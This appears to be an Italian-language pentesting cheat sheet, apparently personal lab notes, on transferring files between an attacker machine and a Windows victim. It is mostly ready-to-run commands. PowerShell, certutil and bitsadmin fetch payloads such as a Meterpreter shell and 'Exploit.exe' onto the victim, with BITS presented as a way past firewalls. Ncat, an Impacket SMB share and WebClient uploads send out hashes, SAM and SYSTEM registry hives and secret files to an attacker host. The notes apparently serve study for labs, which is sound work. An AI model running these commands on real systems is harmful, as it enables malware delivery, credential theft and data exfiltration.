tags: condivisione_file powershell
Questo comando serve a passare file da una macchina attaccante ad una macchina vittima con powershell (per capire come creare una shell powershell da una semplice cmd vai a questa pagina Netcat):
Caricare file su Windows
Powershell
#Macchina attaccante
sudo python3 -m http.server 80
#Macchina Vittima
powershell -c "Invoke-WebRequest -Uri 'http://10.14.83.140/meterpreter_shell.exe' -OutFile 'C:\Windows\Temp\meterpreter_shell.exe'"
#Oppure
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<TUO_IP_LINUX>/nomefile_da_copiare', 'C:\\Users\\Public\\nomefile_da_copiare')"
#O anche
iwr -Uri http://<TUO_IP_LINUX>/nomefile_da_copiare -OutFile C:\Users\Public\nomefile_da_copiare
Wget:
powershell -c wget http://10.14.83.140:8080/winPEASx64.exe -outfile winpeas.exeNcat:
#Questo è il comando da lanciare sulla macchina che contiene il file
ncat.exe -w 3 10.10.1.13 9999 < hash.txt
#Questo è il comando da utilizzare dalla macchina Linux che deve ricevere
nc -lvp 9999 > hash.txt
Certutil
sudo python3 -m http.server 80
certutil.exe -urlcache -split -f http://indirizzo_malevolo/payload.exe C:\Windows\Temp\payload.exeEvasione Firewall tramite BITS
Quando siamo riusciti ad ottenere accesso alla macchina e vogliamo trasferire un file malevolo nella macchina vittima, ma un firewall ci impedisce di trasferirlo con i metodi standard possiamo utilizzare la componente BITS presente in Windows che permette di trasferire file con qualche riga di comando da e verso web server senza essere controllato dai vari sistemi di difesa proprio perchè viene considerato un traffico legittimo, ovviamente quello che possiamo copiare e dove lo possiamo copiare dipenderà dai privilegi che abbiamo ottenuto nella compromissione della macchina, per fare questa operazione eseguiamo i seguenti passaggi:
Cose da fare nella macchina attaccante
-
Digita
mkdir /var/www/html/sharee premi Invio per creare una cartella condivisa -
Digita
chmod -R 755 /var/www/html/sharee premi Invio -
Digita
chown -R www-data:www-data /var/www/html/sharee premi Invio -
Copia il file malevolo nella posizione condivisa digitando
cp Exploit.exe /var/www/html/sharee premendo Invio -
Lancia il comando
service apache2 start
Cose da fare nella macchina vittima
-
Apri powershell
-
Inserisci questo comando
bitsadmin /transfer Exploit.exe http://10.10.1.13/share/Exploit.exe c:\Exploit.exe

Scaricare file da Windows
SMB
Possiamo crearci un server SMB sulla nostra macchina attaccante tramite uno script Impacket nel seguente modo:
# Importantissimo creare la cartella altrimenti non saprà dove copiarla
mkdir share
python3 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public shareNella macchina vittima andremo a copiarci i file nel seguente modo:
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\Python
Su Windows tramite Powershell:
sudo python3 -m http.server 8000Se quello di sopra non funziona prova con:
# Per Python 3.x, se installato
python -m http.server 8000
# Se Python non c'è, puoi usare questo script PowerShell più complesso
$config = @{
'IpAddress' = '0.0.0.0';
'Port' = 8000;
}
$server = New-Object System.Net.HttpListener
$server.Prefixes.Add("http://$(($config.IpAddress)):$(($config.Port))/")
$server.Start()
while ($server.IsListening) {
$context = $server.GetContext()
# Logica per servire i file... (questo è un esempio base)
}Su linux tramite wget:
wget http://<IP_WINDOWS>:8000/segreto.datPowershell
Da Linux ci mettiamo in ascolto con nc:
nc -lvnp 8000 > file_ricevuto.datDa Windows lanciamo questo comando:
$filePath = "C:\percorso\del\file\segreto.dat"; $client = New-Object System.Net.WebClient; $client.UploadFile("http://<TUO_IP_LINUX>:8000/file.dat", "POST", $filePath)Altre tecniche per trasferire file evadendo i firewall
